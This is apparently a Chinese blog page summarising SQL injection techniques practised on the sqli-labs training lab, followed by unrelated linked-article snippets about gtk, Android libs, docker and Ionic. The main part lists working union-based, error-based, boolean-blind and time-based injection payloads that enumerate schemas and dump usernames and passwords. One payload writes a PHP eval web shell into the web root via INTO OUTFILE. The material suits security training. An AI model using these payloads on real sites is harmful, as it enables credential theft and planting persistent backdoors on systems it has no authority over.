sqli-libs总结
security数据库中:
select left(database(),1)=‘s’; 前1位是否是s;
select database() regexp ‘s’; 匹配第一个字符是否是 s;
select database() like ‘s%’; 匹配第一个字符是否是 s;
select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s;
select substr((select database()),1,3)= ‘sec’; 匹配前三个个字符是否是 sec;
select ascii(substr((select database()),1,1)); 直接回显115 115是对应的ascii值;
select ascii(substr((select database()),1,1)) > 110; 如果大于110,就会返回1,否则返回0;
联合语句:
1. ?id=1’ 查看是否有注入
2. ?id=1‘ order by 3--+ 查看有多少列
3. ?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
4. ?id=-1‘ union select 1,2,database()--+ 查看当前数据库
5. ?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 0,1--+ 查看数据库 ;
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库;
6.?id=-1‘unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
查看所有的表;
7.?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询字段信息;
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
查看所有的字段信息;
8. ?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码;
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 查询所有的账号和密码。
报错注入
/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库;
?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询。
布尔盲注
/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+
/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+
先通过大于号或者小于号来判断数据库的第一个字母是哪一个;
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s
?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+
判断security数据库中的第4个表中的数据的第一位是否大于11;
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+
验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u。
基于时间的注入
?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞;
?id=1‘ and if(length(database()) = 8,1,sleep(5))--+
当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security);
?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+
如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s;
?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+
同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果;
一句话木马
/?id=-1‘))unionselect1,2,’<?php@eval($_POST[“gxy”]);?>‘intooutfile“C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+
宽字节注入
原文链接:https://blog.csdn.net/heiseweiye/article/details/82723478
原文链接:https://blog.csdn.net/helloc0de/article/details/76180190
推荐解码网站:http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
sqli-libs总结的更多相关文章
- sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...
- 编译gtk+程序报错gcc: pkg-config --cflags --libs gtk+-2.0: 没有那个文件或目录
第一次接触gtk+.在网上搜罗良一番,装好相应的库后,编写了第一hello程序.在编译时输入以下命令:gcc -o hello hello.c 'pkg-config --cflags --libs ...
- Play libs
The play.libs package contains several useful libraries that will help you to achieve common program ...
- Android中libs目录下armeabi和armeabi-v7a的区别
armeabi默认选项,支持基于 ARM* v5TE 的设备支持软浮点运算(不支持硬件辅助的浮点计算)支持所有 ARM* 设备 armeabi-v7a支持基于 ARM* v7 的设备支持硬件 FPU ...
- SQLi filter evasion cheat sheet (MySQL)
This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...
- python INFO: Can't locate Tcl/Tk libs and/or headers
安装opencv的时候遇到这个错误: python INFO: Can't locate Tcl/Tk libs and/or headers 参考如下文章解决这个问题: http://www.ver ...
- 如何为libs目录下的jar包关联源代码
以前,我们可以为lib目录下的jar包关联源代码,但是现在似乎不行了. 下面是一篇讲述此问题解决方法的文章: How to attach javadoc or sources to jars in l ...
- Makefile选项CFLAGS,LDFLAGS,LIBS
CFLAGS 表示用于 C 编译器的选项, CXXFLAGS 表示用于 C++ 编译器的选项.这两个变量实际上涵盖了编译和汇编两个步骤. CFLAGS: 指定头文件(.h文件)的路径,如:CFLAGS ...
- Android studio libs目录
Android studio libs目录: 关于Android studio libs目录,Android studio 已经为我们自动生成了,如果默认 是看不到默认Libs目录的,点击红色按钮地方 ...
- 写你自己 android 多通道打包工具 可以包libs和.so文件
android上传应用程序,需要区分各个信道. 通常更改配置文件中的一个通道id,假设有多个通道,手动更改并生成apk这将是非常麻烦的,及增加误差的概率. 在这个课堂上分享一个打包工具.也可在网上类似 ...
随机推荐
- 51 nod 1212 无向图最小生成树
http://www.51nod.com/Challenge/Problem.html#problemId=1212 代码 #include<bits/stdc++.h> using na ...
- docker的个人理解
一.什么是docker? docker就是集装箱的原理.可以实现远超于虚拟机的轻量级虚拟化.它是内核级的虚拟化.期望达到使项目运行环境一次封装,到处运行的目的. 集装箱解决了什么问题?在一艘大船上,可 ...
- Python基础概念
一.Python中执行代码的方式 直接在编译器中交互执行: 在编译器中通过Python和文件的路径执行: 在linux系统中可以./test.py(需要代码第一行增加# !/usr/bin/env p ...
- D - How Many Answers Are Wrong HDU - 3038【带权并查集】
How Many Answers Are Wrong Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Ja ...
- Ionic 使用 NFC
Ionic 使用 NFC 哎哟喂,因为项目需要使用 Ionic 调用手机 NFC 功能,踩了好多坑,真的是,不过终于不负众望拿到了id.现在就记录一下我的步骤和踩过的坑! 步骤 我装的Ionic可能是 ...
- [Agc005D/At2060] Minimum Sum - 单调栈
鉴于早上那题让我怀疑单调栈白学,特意来复习下单调栈 题意 考虑按照每个元素对答案的贡献来统计,那么我们只需要找到每个元素左边右边第一个比它小的就可 这题给的又是排列,简直不能再良心 #include ...
- PHP不使用第三个变量,如何实现两个变量值互换(变量值自定)
1.使用函数: $a = 123; $b = 456; list($b,$a) =array($a,$b); 2.数学算式:$a =$a+$b-$b; $a =2; $b =1; $a =$a+$b; ...
- Mono提供脚本机制(C#绑定C++)
1.下载安装最新版mono,https://www.mono-project.com/ 2.添加头文件路径C:\Program Files\Mono\include\mono-2.0,添加库路径C:\ ...
- LVS+Nginx(LVS + Keepalived + Nginx安装及配置)
(也可以每个nginx都挂在上所有的应用服务器) nginx大家都在用,估计也很熟悉了,在做负载均衡时很好用,安装简单.配置简单.相关材料也特别多. lvs是国内的章文嵩博士的大作,比nginx被广 ...
- vue学习指南:第十二篇(详细) - Vue的 路由 第二篇 ( 路由按需加载(懒加载))
各位朋友 因 最近工作繁忙,小编停更了一段时间,快过年了,小编祝愿 大家 事业有成 学业有成 快乐健康 2020开心过好每一天.从今天开始 我会抽时间把 Vue 的知识点补充完整,以及后期会带给大家更 ...